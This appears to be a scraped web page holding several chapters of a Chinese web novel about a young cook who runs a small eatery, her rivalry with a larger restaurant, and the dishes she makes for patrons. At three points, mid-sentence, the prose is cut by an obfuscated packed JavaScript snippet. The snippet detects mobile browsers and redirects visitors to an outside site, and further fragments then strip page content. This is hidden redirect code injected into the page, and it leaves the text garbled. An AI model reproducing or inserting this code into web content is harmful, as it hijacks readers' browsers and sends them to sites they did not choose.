有那起子想借机吸引人注意力，或是坏坏小店名声讹诈人的： “我说这老板怎么做事的，骗来送点腌臜玩意就把我们打发了，这……” 刚要起势大放一下厥词，就被人挤一边去了。 “你不要这腌臜你的菜，我要，来腌臜我！你们还有谁不要的，也都拿来多腌臜我！” 众人嗤道：“你想得倒挺美！” 蓝锦欣慰地回了灶间，只是心里总是坠着一个疑影，从前胡客商也没这事啊…… 14. 姜汁撞牛奶 海鲜粉的风波就算是平安地过去了。 蓝锦仍请托着悟雅不时去那胡客商可能出没的地方探看，可他始终没有再出现过。 好在因祸得福，蓝记的拥趸之间又兴起了一个新风尚：蓝记胭脂鸡。 且一定要来吃那将将出锅的。 火候最佳，最鲜嫩好味！ 暮沉如水，蓝锦拢着一张薄毯，窝在蓝记饮食店的小柜台后清账。 入乡随俗，她跟隔壁延庆酒肆的李家婶婶李玉佛学会了打算盘。 白嫩纤长的手指弹琴一般在珠玉盘上舞得飞快。 这样边拨边记了良久，蓝锦疑惑地停下笔，怎么这米粮菜蔬，一应成本倒比刚做生意时还要高？ 不说她光顾的时日长了许多，就说她的进货量与品类逐日增多，结钱俱是每天清的总账。 缘何那些货郎商肆这样赶客？ 蓝锦把明显不对的账目特别勾画出来，逐一归拢了来处，满腹疑惑地—— 倒头就睡着了。 第二天一大早，蓝锦荆钗布裙，低调地锁了门，暗暗前往自己进货的各处商肆观察打探去了。 客流络绎不绝，掌柜堆笑连连，客人也是满面红光。 偷听了别人从掌柜那里得到的报价，都是依据货量种类的合理价钱。 一切都很正常，没有供货不足的哄抢，也没有恶意的垄断抬价。 原不是每个妹妹都有的，单是冲我一个人来的？ 蓝锦心中有些不平的郁郁，这又是着了谁的道，打了谁的眼了？ 人小力微，食店才有起色，蓝锦并未声张，只默默地换了原料商家。 继续经营着自家小铺，花样翻新地售卖自己的心头好。 谁料好景不长，就连新换的商家也纷纷涨了价，依然是单涨她一人的那种。 与此同时，天香楼那边轰轰烈烈地宣传起了自家的新品：御膳神仙汤饼。 店里的老客来光顾时，私下悄悄说，就跟仿蓝记饮食店的酸辣海鲜粉似的，却又不太一样。 邈晴庵主人却比蓝锦的反应快很多，飞速地登了一篇新文，短小精悍： 《新出的汤饼是假货，不要吃。盘古以来最棒汤饼——还有蓝记酸辣海鲜粉，不服给我尝你家的》 加上溜门撬锁的萧仁禹带来的后厨独家消息： 天香楼食材间里，摆着大量鱿鱼干和沙虫干，和胡客商惯常卖给蓝锦的，是一样的细麻布袋。 到了此刻，蓝锦还有什么不明白的。 翻遍这整个昭应县城，手里拿得出如此大量海鲜干货的，除了那个黑心胡客商，哪里能蹦出第二个人。 就是不知道是他们合谋，抑或这本就是天香楼给她准备的，裹了钩子的饵料。 再想想商量好了一般给她涨价的商肆们，蓝锦失笑，天香楼还真把我当个人物。 蓝锦私下去买了这口气颇大的“御膳神仙汤饼”，嗯，一般。 他们不懂得蓝锦的调味手法兼火候。粉糊勾芡也做得麻麻赖赖，故而挂汁不够。 连米粉的嚼头都和蓝记的相去甚远，回口细品还泛着一股子苦味。 更不用提完全没有蓝锦应时而换的食材搭配，和加了秘制腌料的炸牛肉干了。 故而食客的馋虫又被勾起了，光顾蓝记的时候，总要问上一句： “蓝小娘子何时再做一做盘古以来最佳汤饼——我要海鲜粉的那个啊！” 若说别人不知道邈晴庵主人是谁，萧曼娘却是因着早先多方打探过，了然于胸的。 还试图威逼利诱，遇挫又改换温柔手段撒钱收服—— 谁叫人家在美食届是高山仰止的神秘存在，引领品味风潮。 还和这畅销小报的主编人关系亲密，完全没法冒名顶替了去。 这帮目下无尘自视甚高的酸客，成天自诩超凡脱俗的，倒来妨害她的财路！ 若不是她三姐萧润娘在慈明寺有些供奉面子，她连这小报主编是何人都没处知晓。 萧润娘谈起她这五妹，口里却带着绵绵的软刺： “最有本事还数我们家五娘，不按老太爷安排来走呢，一颗心啊倒比手掌大了这许多。” 萧曼娘用了人家，转头连在自家丈夫面前都不给这三姐半分面子： “不知打哪听了句‘穷算命，富烧香’，白白给人家撒钱。” “你看她儿子理她么？还不是在小媳妇那掇臀捧屁的。” 这次的“打假”风波，萧曼娘也是听说了。 她想，那起子穷酸文人，只要给够了钱，什么不能写，什么不能干！且等着吧。 村中的两进小屋门口，蓝锦正清点着乡亲们送过来的菜蔬禽鱼。 茄瓜菜豆，红椒绿叶，还挂着刚摘下来的露水，脆生生的可人。 几只白胖的老母鸡，和精瘦的走地鸡，被束着脚，无辜地窝在一盆子鲜鱼旁，发出“咕咕”的叫声。 隔壁姜婶子姜敦冉挎着一篮子蔬果，从自家的小菜园里走过来： “锦娘，这一向少见，你和小秋都还好吧？” 蓝锦笑着答道：“婶子，我一切都好，还把食店开起来了呢，就在昭应县城。” “这不是回乡下买点新奇菜色，他们城里人稀罕着呢。” 姜敦冉笑开了：“你手艺好，他们哪是稀罕菜蔬，全因为是你做的才这么爱的。” “要是换旁人，这乡里土气的小菜，白送也不要呢。” 蓝锦有些羞赧，接口道： “婶娘家里要是有吃不完的菜蔬，连同养的鸡鸭鹅，都能卖给我，价码绝对比行商下乡来收的好。” 姜敦冉满口应了，又道：“锦娘你不知道，自你搬去娘娘庙借住时起，我那弟媳来了有三趟寻你不得！” 蓝锦讶然：“青娘么？我待会去寻她，还要买她做的好豆腐呢。” 姜敦冉面上只管是笑：“得亏你托人稍的口信，现下她不仅会做腐皮，还会点豆浆，侍弄豆花。” “生意愈发兴隆了，这是托我们锦娘的福，家里都说你是福星呢。” 蓝锦也高兴，打理好了刚买的材料，把门一闩，辞别姜婶子，提着小桶，款款去了齐青娘的豆腐坊。 青娘头扎手巾，双手抱着一块青石往压豆腐的木板上放，脸不红气不喘。 回神看见蓝锦来了，喜得跟什么似的，往围裙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090782|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使劲搓了搓手，转出身来迎她。 “哎呀呀，我们锦娘来了！快进来坐，我去给你拿新腌好的紫苏梅。” 蓝锦依言坐在板凳上，含笑看着青娘忙来忙去，开口问道： “这一向生意顺心么，听姜婶子讲，你很是会赚的嘛！多早晚也来光顾我的生意嘛。” 齐青娘端来一个白瓷碗，放到蓝锦手里，似喜似嗔道： “你还说嘛，自从你走了，再也吃不上那样好鸡肉，你还给罗婉君家，做了那许多我都没吃过的好菜！” 又殷殷地给她看自己刚依方子做出来的薄豆干和嫩豆干。 “实在是太忙，不然我也想常去吃我们锦娘的手艺呀。你放心，但凡有一丝丝气口，我立时就飞去你那享受了。” 蓝锦对这红褐焦黄的豆干十分满意，正接口道： “只怕是不能够歇了。我正想来同青娘做一桩生意，你家店里现有的品类，我那食店都想要，月月都要。” 把这齐青娘喜得不行：“哎呀呀，小娘子不仅扶持我，还要给我送生意。” “我肯定是带着顶顶好的价格，顶顶好的货，上赶着就来了！” 二人说笑着签了契子，蓝锦谢过青娘再三留饭，还是赶在日落前回了小店。 萧仁禹在蓝记饮食店门口来回徘徊。 就连郭小公子和云小娘子都不来了——他们听蓝锦说过今日要回乡下买鲜菜鲜肉。 只这蓝扇花蝴蝶还在附近碰运气，好像每天不见上这位蓝老板一面，不被她刺上两句，就不自在似的。 他们现在越发熟了，蓝锦已可以跟他有来有回地聊熟人天了。 当然是萧大公子自己认为的。请看VCR—— 蓝锦：“萧大公子你又去做梁上君子，还巴巴地送来我这。” “你说你喜欢干点什么不好，回头被拿住了，可别说我没劝过，再连带我跟你一起丢人。” 萧仁禹听到的：萧公子…%&%￥…你…*&&*…喜欢…@#￥…我……跟你一起。 嘿嘿，嘿嘿，她把你你我我放在一起说诶。 她心里有我。 蓝锦抬眼一看，有只花蝴蝶勤勤恳恳地给自己做门神，一下子笑出声来。 “今儿不去光顾人家后厨啦，进来吧。” 萧仁禹还是那副样子，周身透露一种慵懒优雅的奶牛猫气质，从容地找了一张桌子坐下。 “我从乡下带了鲜牛乳，是水牛乳呢，吃双皮奶和姜撞奶如何？” 萧仁禹面上只浅笑，乖巧地点了点头，目送蓝锦扭身进了厨房。 内心狂喜：她不把我当普通客人耶！什么云什么望都吃不着，就我吃得着！ 顺着灶间的小窗口，去看蓝锦往后腰系围裙的素腕巧手。 蓝锦往碗里打入蛋清，蛋黄不要，搅得散散的。 小黄姜细细地研磨成蓉，拿白纱巾子往干净碗中拧出浅浅一层姜汁。 又把牛乳和白糖一起倒进锅里，不停地搅拌，直至温热。 一半高高地倒进姜汁碗里，盖着静待凝固。 一半倒进蛋清里，搅拌融合，过筛除泡，盖上盖子放进蒸笼里去蒸。 15. 茄鲞佛手瓜 四碗白嫩幼滑，似酪似玉的甜点被端上了桌。 店铺没有旁人，蓝锦大咧咧地坐下，与萧仁禹分食这难得的水牛乳做的糖水。 一碗姜汁撞牛乳，因为姜汁蛋白酶和牛乳中充足的蛋白质反应彻底，现下已经凝成固体。 蓝锦颇有些得意地，当着脸前人的面，只把一个青瓷小勺碗中心一放，稳稳托住了。 “怎么样，神奇不神奇？没有见过这等秘术吧萧公子。” 萧仁禹漾开笑容，面色舒展，夸赞道：“确实不曾见过这等秘术。” 蓝锦愈发洋洋自得，接着炫耀道：“另外这一道，更特别呢。” “人家做牛乳酪，不过面上一层奶皮子。” “我这份表面有一层，待吃到下面还有一层，才能叫‘双皮奶’。” “奶味浓郁，口感爽滑，双层奶皮绞住唇舌，那才是牛乳点心的精髓呢。” 萧仁禹含笑，正要顺着应了，却发现蓝锦脸色一变。 她想把自己那份的双层奶皮，挖出来给他瞧，一勺子伸到碗底。 蓝锦发现，没有两层奶皮！ 她才骤然想起，刚刚太专注“给这小土著露一手看看”的胜负心。 全然忘了先降温做第一层奶皮，再倒出牛奶去蒸，把奶皮留在碗底这一步。 这做的是单皮奶啊！ 瞧把蓝锦给尴尬的，面色微酡： “啊，啊，单皮双皮，味道一样的，是一样的。” 萧仁禹小声却豪放，豪放却小声地笑出了声。 蓝锦恼了：“你吃过双皮奶么？你自己会做吗？” “不知道端起碗不能挤兑厨子吗？给你吃什么就吃！又没收你钱！” 萧仁禹乖巧捧碗：“噢，噢，好的。” 往嘴里送一大口单皮奶，娇如琼脂，甜甜的，香香的。 再吃一勺姜撞奶，味蕾一下子被调动。 小黄姜汁有种温柔的刺激性，恰到好处地激出牛乳的奶香，盈润满口。 入口即化，甜香惑人，一碗很快见了底。 每咽下一口，都一直暖到胃里。 萧仁禹试探地补充道：“小娘子别着恼，我明天还来，再吃双皮奶也不迟嘛。” 蓝锦白他一眼：“把你美的！” 萧仁禹不语，只在那笑。 霍旭云站在蓝记饮食店门口，喊着悟雅帮忙，把新进来食材往后间搬运。 蓝锦拿来一枚刚做好的莲蓉馅花糕，掰下一小块喂进她嘴里。 “我们旭云妹妹为我忙前忙后，近来好生辛苦。” 霍旭云感觉到了蓝锦来到自己身边，喂自己什么东西。 眼皮子都不抬，一张嘴就吃进口中。 “嗯！这个馅的也好吃。” “蓝姐姐干嘛说那好不相干的话。难道我们家没赚钱么！” “蓝姐姐不知道，我那阿爹可高兴坏了。” “他不像旁的村长里正一样弄钱，半辈子也没见过这种额外进项。” 蓝锦托了霍旭云，主持去乡下收拢菜蔬河鲜、家禽牲畜的事务。 除却给她专门的薪资，还允她自定价码，赚个小小的差价。 如今一来一回，正好在她上学返家之时送来送往。 霍旭云乐得做这种事。 除却能常常见到她蓝姐姐，吃上许多最新的菜品。 还能酣畅淋漓地发挥她统筹计划的爱好本领。 “今日来了许多新菜，晚间下学了早来，给你做些好吃的新花样。” 霍旭云笑得见牙不见眼，把手里的小账册往腰间的布书包里一揣。 一连声应道：“好嘞好嘞！” 蓝锦把新来的肥鸡一只只拢到后间，悟雅上前一一拾掇了，给她送往厨房。 小秋今日不在店里，跟着洛修远去川流书院听讲。 也是洛修远时时撺掇，磨得她们的山长松口。 当自家小妹妹一般带去书院的大字课上，好歹学得几个字。 承她们的情，故而蓝锦有心感谢。 给川流书院的夫子们送一些自己的手艺，时常托洛修远捎带去。 实因蓝锦最近忙着和天香楼打擂台，无法亲自道谢。 人家在商行老板那使绊子，断她的供应。 她索性一扭脸回了村，不辞辛苦，从邻里乡亲那进了鲜货。 如是填了一部分缺口，有些菜色还更鲜嫩别致。 除此之外，蓝锦又想出了个私房特供的主意。 请食客自带食材，不拘种类，不拘搭配，她保准给整治出美味佳肴。 如是带了一点下战书和抽运签的意味。 有带一整颗白菜和一只鸡来的，吃上的不是小鸡烧白菜，而是开水白菜和烂肉面。 汤色清澈，清香勾人，肉酥味浓。 带着一块猪肉来的，以为会吃上炒肉片、红烧肉之类。 却见一大盘金银相间的炸馄饨上了桌。 叫那有金有银的好兆头哄得心花怒放，镶的金牙都露了个遍。 不仅是蓝记老资格的食客，便是那有钱有闲的客官，有心来略试上一试她的水平的。 也都能叫蓝锦见招拆招，心服口服地家去了。 这桩私房特供的生意能做得这么红火，少不了云江望的功劳。 当时蓝锦只略这么一提，旁边的云江望把手一拍。 “好啊蓝姐姐！从来没见过这等好玩的吃食主意，让我阿奶一听，肯定喜欢得不行。” 蓝锦奇道：“为何老夫人会对这样的吃食感兴趣？” 云江望笑说：“她不耐烦和别人一样呢。吃的用的，她用的舒心的，若叫旁人仿了去，立时便抛了。” 蓝锦心下了然，哦，爱好小众的富贵老太太一枚呀。 云江望又道：“这本也没什么的，天下之大，无奇不有的。” “这一样罢手了，再寻别的替换就是。” “偏偏我阿奶爱的事物，别人最爱去仿。” “都知道她见多识广，雅好新奇，看上的多是好东西。” 蓝锦笑道：“也是老人家眼光毒辣，爱好美好事物，又追求美，我也佩服这样的人呢。” 云江望也笑着： “总归我一和她说了你家这事，不出三日，这整个昭应县城都要闻风而动了。你可准备好忙得脚不沾地了。” 待见到云家来的老仆，听着她闲聊时絮絮，才知云江望出身武将世家。 老父旧时从战火里死守昭应城，护住了一城百姓的安危。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090783|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云江望是老来女，其父历过战火，登过高位。 既知朝堂事，洞幽知微，早早带着全家退居回这所从前挥洒过心血的小城。 她们从前只以脾气喜好、秉性能力相交，并不谈论身份，都是很恺悌疏阔的君子。 云江望的祖母是正经的天都高门贵女，出身天都五大族之一的连家。 在人际简单、活泼外向的云家待到这把年纪，依旧不改娇憨。 蓝锦下了大力气给这位时尚icon老夫人整治了一回细馔。 从云家管家那里，挑出了年份不多不少的两只好鸡。 并两个结结实实的黑毛猪肘子，一大块陈年的火腿。 鸡油不要，脏器不要，爪子不要。 肘子细细烤制刷洗过，火腿也泡了良久。 只把几样放进锅里热腾腾地炖着，打去那浮沫子。 放些葱姜并陈年花雕，小火慢炖上三个时辰。 再取那鸡脯子肉，筋膜鸡油统统挑去。 使两把刀耐心剁得细碎成糜，成那略无半点颗粒的鸡茸。 拿水和葱姜，倒进鸡茸里，撒些盐和胡椒，揉捏成均匀绵柔的肉羹。 再把那锅肉汤过滤干净，骨肉皆弃之不用，只留那汤头。 把这鸡肉羹倒进汤头里，再炖上小半时辰，直到汤中腥膻的杂质都被肉羹吸附殆尽。 此时汤色已臻完美，清透淡雅，亮如琥珀。 再把鸡肉沫统统滤去丢掉，只留下这透玉般的清汤。 蓝锦另取一块干净砧板，和一把磨得快快的刀。 蘸了清水，手腕翻飞，把一块嫩如凝脂的白玉色豆腐切得发丝一般粗细。 边缘统统弃去，只留中心卖相最好的一小块。 由是放进刚刚吊好、调味和摆盘的琥珀高汤里。 豆腐丝绽如秋菊，配上青绿的叶片，美得让人忘了呼吸。 一直在旁看着的云家老仆已是忘了怎么言语，两个眼珠子睁得溜圆。 似是没想到在小小食店里能见到这般手艺。 这道吃荤不见荤，模拟长寿之花的清雅菜做罢，蓝锦打算再贡献一份实在的。 当然，是登得大雅之堂，独一无二的那种实在。 便是红楼里贾老太太的惯用之物，茄鲞(xiǎng)。 挑园里刚摘下来还带着露水的紫皮茄子，去皮切丁。 拿刚刚剔下来的鸡肥油，熬煮成新鲜的鸡油，高温去炸那茄丁。 将薄豆干，山笋，野生松茸，香菇，花生仁，去皮核桃仁，细细切成小丁。 寻来自家备好的山菇粉。那添了小麦和麸皮，自酿的味极鲜酱油。 一齐放进刚刚吊好的高汤里。 熬煮得味道皆进去了，汤汁收浓，再倒进芝麻香油一煨。 再把新摘下来的佛手瓜洗净切片，伴着这改良版的红楼茄鲞一炒。 这道鲜美得“用十几只鸡来配它”的小炒就做得了。 老仆二话不说，立即装进能保温能固定的食篮里，上车家去了。 待这几道菜摆上连老太太的餐桌，那茄鲞上还冒着盈盈的热气。 清汤里的菊花豆腐也原样摇曳，几无半点走形。 连老太太由云江望陪着，一起身，一时呆住了。 16. 玛瑙荔枝肉 瓷白的小盅里盛着透亮晶润的高汤，一丝杂质也无。 一朵惟妙惟肖的豆腐万寿菊在当心伫如空谷幽兰。 形如柳叶的白玉盘，只在圆的那一头放了一簇各色丁子炒瓜片。 其他地方的留白，有寥寥几笔褐汁作线，活活脱一副清幽山水图。 连松琦素来服膺食不厌精，脍不厌细。 云家上下承惠于她营造的起居坐卧水准，小辈也爱四处寻摸好玩意来装点她的养老生活。 现下见了这两道蓝记出品的菜，连老太太奇道：“这是哪一家的师承，倒是不曾见过。” 云江望拿起面前的银箸，笑得爽朗：“祖母一试便知，保准是您没吃过的味道呢。” 连松琦搛起一片佛手瓜，托着两三粒亮津津的各色丁子，放入口中慢慢品着。 连松琦的目光一下子亮了，美味！果仁香味和蔬果香味交缠错杂，鲜美的鸡肉味若隐若现地托着底。 茄子并不油腻，却吸足了每一种菜色的风味。调料不夺其香鲜，只是恰到好处地把每样食材的本味激发出来。 连松琦虽口味挑剔，但顾及年纪和身体，很注意保养。宁愿少食多餐，也从不愿多吃几口。 当下却是一下一下不停地去搛那盘茄鲞佛手瓜，姿态虽优雅，速度却可称得上风卷残云。 直到这菜下去了半盘子，才幽幽地停住了，去看面前另一道万寿菊样的豆腐花。 此菜色汤如清水，澄如溪泉，却锲而不舍地往空气中持续泼洒一种纯粹的肉香。 这样宁静高洁的样子，连松琦本以为该是素斋，拿小银勺略抿一点清汤入口，方知其中玄机。 汤水不油不咸，像山泉一样涤荡唇舌，回味却满口馨香。 似乎是那仙家御兽苑里满山满野的鲜物，皆自发排着队地跳进这汤锅，没有一丝人间的杂谷浊气。 再品一口飘渺如精灵的豆腐丝。兴许是做这豆腐的水好，是山中醴泉，豆子也好，竟有一种从未体会过的“豆腐味”。 食此方知何为“豆腐”！ 若只这样才是豆腐，那么从前吃过的那些略无浓醇豆香的东西，只怕都是稀水罢了！ 更不要提面前这盅豆腐吸饱了各色油脂香，好像没有在吃肉，又好像把这世上的荤鲜都凝在这一口之中了。 山珍海味，或许不过如此了。 连松琦完全忘记了自己的养生之道，直把这两道蓝记私房特供菜用得干干净净。 云江望在一旁只陪着，面上带着果然如此的了然的笑，似是完全压抑了住自己的食欲似的。 ——并没有，只是蓝姐姐给她尝过啦！剩下那些卖相不够精致的部分，眼下只怕都已经出现她卧房的小几上了。 “阿奶，我没有哄你玩吧，果然是私家特供，从没有人吃过的菜吧？” 连松琦慢条斯理地拿起湖蓝苏绣帕子，轻拭嘴角，骄矜地说：“倒还可以入口一二。” 云江望扭过脸来和祖母身边的程妈妈对了下眼神，俱都吃吃地笑了。 “能让我们老夫人动上几筷子，那就是摆去王母的蟠桃宴，也不会辱没了的，可见这位厨娘很是用心呢。”程妈妈很欣慰连老夫人有这样省心的好胃口。 云江望顺杆子爬，撒娇道：“祖母且说，当不当得一句特别？” 连松琦轻咳两声：“得闲再请来府里，不拘什么再整治几样试试。” 云江望是拿着鸡毛就要当令箭的主，当下就使人给蓝锦送信，第二天一早就把人给请来了。 蓝锦笑得梨涡深深，厨刀翩飞，再给连老太太做了一盘福寿鱼生。 做了高山流水的置景，蘸的是味极鲜并山葵酱。 再有一份山楂福字面果，是拿山楂打底的果泥，一片片裹成白底红字的一条。 红白相间，每切一片都是一个“福”字。 饶是见惯大大小小、拟形拟物果子糕饼的连老太太，也拍手称奇了。 于是蓝锦携着许多赏玩之物，被客客气气地送出了云家的大门。 一路上净撩开车帘子四处探看，春风满面，招猫逗狗地回了蓝记饮食店。 不出一日，这消息就传到了昭应城各户体面人家的娇女耳中。 连老太太有新的心头好了！ 听说很满意的样子，连赏钱都是平素的三倍！ 还是私房特供，限时的活动，不吃就吃不上了。 只是出自一家市井食肆，门脸都只有一进，几张小桌罢了。 一群蠢蠢欲动兴奋得像土拨鼠一样的女儿家不禁犹豫了。 凑在一起的几人皆装作浑不在意的模样。 “那种地方能有什么好菜色，恐怕连天香楼都比不上吧。” “就是，我是不屑吃的，谁知她用的刀板，干不干净呢？” “是啊是啊，不知平素都是给些什么样人烹食噫。” “对呀，昨日去云家不过赶巧了吧，老夫人没吃过乡野粗食，一时叫她捡了便宜。” “我可看不上那使噱头唬人的行径，不好好敬奉灶王爷，侍弄蔬食，倒弄这些花头，谁要去上当。” “可不是嘛，当谁稀罕呢，没了就没了，吃不上就吃不上呗。” 如是七嘴八舌，几人都说好了，谁都不会去的，谁去谁掉价。 由是便扭过头去，环佩叮当的，各回各家，匆匆乘车走了。 第二天一早，蓝锦甫一打开蓝记饮食店的大门，就看到一个身着竹青袍子的乌黑圆脑袋，在大柳树后探来探去。 嘶，好似是洛修远她们书院的服样？ 小秋都挎着小小号布书包走了，修远怎么还在这里？ 蓝锦麻利地擦洗饭桌，只远远地唤道：“是修远吗？今日怎么还没去上学，书院有假吗？” 乌黑圆脑袋慢慢钻出来，慢慢踱步到蓝记门口。 咦，不是修远，是个陌生小娘子，身上一清二白，连个耳饰也没有。 “啊，我不上学，啊，不是不是，我来吃，不，我不是……” 蓝锦越发迷惑了，莫不是脑子不太清爽？ “小妹妹，你遇到什么事了吗，不要怕，可还记得家在哪个坊？” 好似又不太像……看她手背在后面，还提着一整块五花肉呢！ 沈苏琰更不好意思了，扭脸看看四下无人，小步小步挪到屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090784|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 在蓝锦身边，低着头，用极小极小的声音说：“这位姐姐，能不能帮我做点吃的？” 蓝锦接过那提五花肉，心中变换不定。 莫非是家中不便，好容易攒出些许银钱，巴巴地来央自己慰一下五脏庙。 瞧那衣袍，袖口洗得发白了。 是有耳洞的，却连城中打耳洞的女儿家常用的，养耳洞的小银钩子，也戴不起的。 蓝锦满面心疼请她坐下，还给她拿了糖渍樱桃李，和新试验出的珍珠牛乳茶。 沈苏琰把这一杯一碟往怀里一拢，再次探头探脑地去看外间有无熟面孔，方才放心地低下头去嗅那股沁人心脾的甜香。 快快地往嘴里塞一枚，嗯~酸甜有味，软弹粘糯，还精心去了核，享受！ 再低下头去就碧玉杯子，沿着杯沿吮一大口浅绛色的珍珠牛乳茶。 哇，从没喝过这么好喝的饮子欸。 牛乳没有想象中的腥味，只有奶香，直把人温温柔柔地包裹在云团中。 舌间掺杂了红茶的清香，二者相得益彰，甜味更甜，茶味更香。 用那小银勺一搅，乌玉珠一样弹弹的小圆子浮上浮下，捞起一颗放在口中—— 天呐天呐！沈苏琰只想双手捧腮，向天大叫一声，这是什么人间美味啊啊啊！ 焦糖的甜香味愈嚼愈浓，弹嫩的质感是任何一种食物都没有过的。 沈苏琰在口中嚼了又嚼，直到全都化了才舍得咽下。 这焦糖味的乌玉小球貌不惊人，搭配上这清甜的牛乳和红茶，却叫人无法自拔。 沈苏琰沉醉了。 沈苏琰忘记了一切，忘记了自己身在何方，甚至忘记了自己姓甚名谁。 蓝锦复又给她端来了一份玛瑙荔枝肉。 五花肉片经由红米曲水和酒糟的着色，变得酡红似粉钻。 又被均匀地切了薄片，改了花刀，裹成荔枝样的小球，炸得朱红。 接着被糖醋汁子入锅一翻炒，水淀粉一勾芡。 直变成一碟粒粒分明，嫣红诱人，晶亮拉丝的玛瑙荔枝肉。在白净的盘身上，不住地向沈苏琰抛着媚眼。 夹起一颗放入口中，外酥里嫩，汁香四溢，酸甜可人。 过了油，糖醋口，完全是年轻小娘子的爱物。 年轻小娘子沈苏琰完全被拿下了。 沈苏琰幸福得只差泪水横流了，一边头也不抬地不停往嘴里塞，一边忍不住跟蓝锦说： “真好吃，太好吃了，太香了，我这辈子都没吃过这么好吃的肉。” 蓝锦笑着谢过客人赏识，又去忙着招待旁的顾客。 真是奇怪，也不知是怎么了，来的人都和第一个小娘子一模一样。 一模一样的打扮，一模一样的神态，一模一样的话语，连声音也是如出一辙地小。 蓝锦心下纳罕，却也笑容满面地接下这些单子去了灶间。 沈苏琰吃得热火朝天，恋恋不舍地咽下一口荔枝肉，大声说道：“这位姐姐，你得闲能去我家管厨房吗？” 空气凝固了。 蓝记饮食店内此时落一根针都能听见响声。 17. 土豆炖牛腩 沈苏琰心下纳罕，抬起头来，原来老板不在外间。 只看见几个四散守在角落，低头扮仓鼠，恨不得把脸埋进面前小碟子的女娘，俱定在那里。 嚼都不敢嚼了。 “吴眉帆，你还说你不屑来的！” “沈苏琰，你不也来了！还央人家去你家管厨房呢，我们都听见了。” “那又怎样，你有本事不吃！” 几颗刻意摘了头饰的乌黑圆脑袋，七嘴八舌地吵了几句，终究觉得丢人。 低了声音，沉默一阵，扑哧笑开了。 几人亲亲热热地挤在一处，交换蓝锦给自己的餐前小点，亲亲热热地咬耳朵。 “这家店真是好吃呢，跟着连老夫人选，果然没错。” “哎哎，我家飞荷说，还能看到一个顶顶好看的小郎君呢，十日里倒有九日要来的。” “她们和守门子的、走街办事的打听遍了，都打听不得身份的，很神秘的。” “你还关心这个呢？” “怎么了？要是门当户对的，立时就叫阿娘使人备了财物，打发媒人去知会。”另一人表示理解。 “要不是，娶回家来日日看着样子也舒心啊。”有人补充。 众人嬉笑一阵，桑远谯把手指往双唇前一放，“嘘”的一声，暗示她们，人来了。 果然看见一个挺拔如翠竹的郎君，身着靛青荼白的锦袍，迈着从容不迫的步伐，优雅地走了进来。 熟门熟路地寻着最靠近柜台的桌子坐定，熟门熟路地取了一碟樱桃李来吃。 指节修长，白里透红。 和那绯红的樱桃李，嫣红的嘴唇，放在一起去看，相得益彰。 众人观赏着他那浑然天成的举止，和那三百六十度无死角的面庞，默契地你看看我，我看看你。 把眉毛挑得高高的，张着圆圆的小嘴，发出无声的“哦~~哦~”。 又去推推桑远谯，认可她的眼光。 桑远谯得意地一眨眼，灿烂地笑开了。 于是待蓝锦捧着木托盘来上菜，就看到这样一副光景。 身着竹青布袍的年轻女娘，大刀阔斧地坐在小郎君的对面，笑盈盈地问： “这位小郎君家住何方，平素欢喜做点什么，不如我们认识一下呀？” 萧仁禹抱着樱桃李，把身子扭过去，面容不改，口中却冷冷道： “没有。” 年轻女娘也不恼，款款地又回去了，和其他小娘子们一起咬耳朵。 此时，萧仁禹却是突然看见蓝锦出来了，略有慌乱地一下子站起来了。 面色酡红，手脚忙来忙去，不知在做什么。 过了几瞬，似乎又冷静下来了，清咳几声，又从容不迫地坐了回去。 把面前的饮子拿起来轻抿一口，对蓝锦说： “小娘子这手艺比昨日的更好了。” 蓝锦在一旁看了全程，不禁失笑。 一边给女娘上菜，一边招呼道：“好，都好。萧公子今日要吃点什么？” 萧仁禹抬起头来，正色道：“自然还是小娘子最爱什么，我就吃什么。” 蓝锦心里骂骂咧咧地进了里间。 待蓝锦走后，几张唧唧喳喳的小嘴又窃窃地聊开了。 “听见了吗，原是姓萧欸。” “这却是哪一家，莫不是天香楼那个萧家？” “怎么会，不像，长得也不像，一个天上一个地下的，云泥之别！” 有人一捅桑远谯的腰，叫她不要再张着杏眼，一手捂着嘴，另只胳膊一个劲地往自己身上捶。 “哎哎，没看出来么？这个萧郎君对人家老板有意呢。” “怎么啦，那也不耽误我欣赏欣赏。”桑远谯听见了，两只耳朵都听见了，不改！ “他们俩一个暗生情愫，一个浑然不觉，我看般配得很呢！” “你这是哪来的论调，讲人家模样配就罢了，这却怎么说。” “你们都没品味！殊不知，吃瘪的郎君才叫美呢。” 几人偷偷地把眼一瞧独个沉溺甜食的俊美郎君，再越过灶间小窗看看一丝不苟的认真女娘。 眉眼弯弯，吃吃地笑了。 